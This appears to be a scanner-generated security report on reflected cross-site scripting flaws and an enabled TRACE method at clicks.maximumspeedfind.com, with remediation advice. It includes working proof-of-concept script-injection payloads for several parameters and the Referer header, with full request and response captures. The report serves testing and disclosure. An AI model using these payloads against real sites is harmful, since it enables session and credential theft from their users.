Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the enk request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81dfa"><script>alert(1)</script>504abb2f25c was submitted in the enk parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /xtr_new?q=work+from+home&enk=hokmmSephskG4ybJj4mPyQe5J6mPiWaJppGGucaBZuMm81dfa"><script>alert(1)</script>504abb2f25c HTTP/1.1 Host: clicks.maximumspeedfind.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://redprarie.com/
Response
HTTP/1.1 200 OK Date: Mon, 05 Sep 2011 18:33:31 GMT Server: Apache Connection: close Content-Type: text/html; charset=iso-8859-1 Content-Length: 9254
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <title>http://www.developyourcareer.com</title> <head> <STYLE> BO ...[SNIP]... <input type="hidden" name="enk" value="hokmmSephskG4ybJj4mPyQe5J6mPiWaJppGGucaBZuMm81dfa"><script>alert(1)</script>504abb2f25c" /> ...[SNIP]...
1.2. http://clicks.maximumspeedfind.com/xtr_new [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://clicks.maximumspeedfind.com
Path:
/xtr_new
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3890c'%3balert(1)//ca79abeb7d8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 3890c';alert(1)//ca79abeb7d8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /xtr_new?q=work+from+home&enk=hokmmSephskG4ybJj4mPyQe5J6mPiWaJppGGucaBZuMm&3890c'%3balert(1)//ca79abeb7d8=1 HTTP/1.1 Host: clicks.maximumspeedfind.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://redprarie.com/
Response
HTTP/1.1 200 OK Date: Mon, 05 Sep 2011 18:33:37 GMT Server: Apache Connection: close Content-Type: text/html; charset=iso-8859-1 Content-Length: 9118
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <title>http://www.developyourcareer.com</title> <head> <STYLE> BO ...[SNIP]... }else{ document.forms['rr'].action = 'http://clicks.maximumspeedfind.com/xtr2_new?q=work+from+home&enk=hokmmSephskG4ybJj4mPyQe5J6mPiWaJppGGucaBZuMm&3890c';alert(1)//ca79abeb7d8=1&rf=http%3A%2F%2Fredprarie.com%2F&qxcli=8eccf4d499bd1b1b7aef00b5e41ad99f&qxsi=89ac74e537082eb1&pls_flag='; document.forms['rr'].submit(); }
...[SNIP]...
1.3. http://clicks.maximumspeedfind.com/xtr_new [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://clicks.maximumspeedfind.com
Path:
/xtr_new
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bd7ed"><script>alert(1)</script>d94b8216585 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /xtr_new?q=work+from+home&enk=hokmmSephskG4ybJj4mPyQe5J6mPiWaJppGGucaBZuMm&bd7ed"><script>alert(1)</script>d94b8216585=1 HTTP/1.1 Host: clicks.maximumspeedfind.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://redprarie.com/
Response
HTTP/1.1 200 OK Date: Mon, 05 Sep 2011 18:33:36 GMT Server: Apache Connection: close Content-Type: text/html; charset=iso-8859-1 Content-Length: 9163
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <title>http://www.developyourcareer.com</title> <head> <STYLE> BO ...[SNIP]... <a href="http://clicks.maximumspeedfind.com/xtr3_new?q=work+from+home&enk=hokmmSephskG4ybJj4mPyQe5J6mPiWaJppGGucaBZuMm&bd7ed"><script>alert(1)</script>d94b8216585=1&rf=http%3A%2F%2Fredprarie.com%2F&qxcli=8eccf4d499bd1b1bead0b322242b8528&qxsi=89ac74e537082eb1&pls_flag="> ...[SNIP]...
The value of the q request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c5e7"><script>alert(1)</script>3088956b02b was submitted in the q parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /xtr_new?q=work+from+home8c5e7"><script>alert(1)</script>3088956b02b&enk=hokmmSephskG4ybJj4mPyQe5J6mPiWaJppGGucaBZuMm HTTP/1.1 Host: clicks.maximumspeedfind.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://redprarie.com/
Response
HTTP/1.1 200 OK Date: Mon, 05 Sep 2011 18:33:28 GMT Server: Apache Connection: close Content-Type: text/html; charset=iso-8859-1 Content-Length: 9312
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <title>http://www.developyourcareer.com</title> <head> <STYLE> BO ...[SNIP]... <input type="hidden" name="q" value="work from home8c5e7"><script>alert(1)</script>3088956b02b" /> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 544a5"><script>alert(1)</script>db621deb1bd was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /xtr_new?q=work+from+home&enk=hokmmSephskG4ybJj4mPyQe5J6mPiWaJppGGucaBZuMm HTTP/1.1 Host: clicks.maximumspeedfind.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.google.com/search?hl=en&q=544a5"><script>alert(1)</script>db621deb1bd
Response
HTTP/1.1 200 OK Date: Mon, 05 Sep 2011 18:33:37 GMT Server: Apache Connection: close Content-Type: text/html; charset=iso-8859-1 Content-Length: 9339
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <title>http://www.developyourcareer.com</title> <head> <STYLE> BO ...[SNIP]... <input type="hidden" name="rf" value="http://www.google.com/search?hl=en&q=544a5"><script>alert(1)</script>db621deb1bd" /> ...[SNIP]...
The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.
Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.
Issue remediation
The TRACE method should be disabled on the web server.
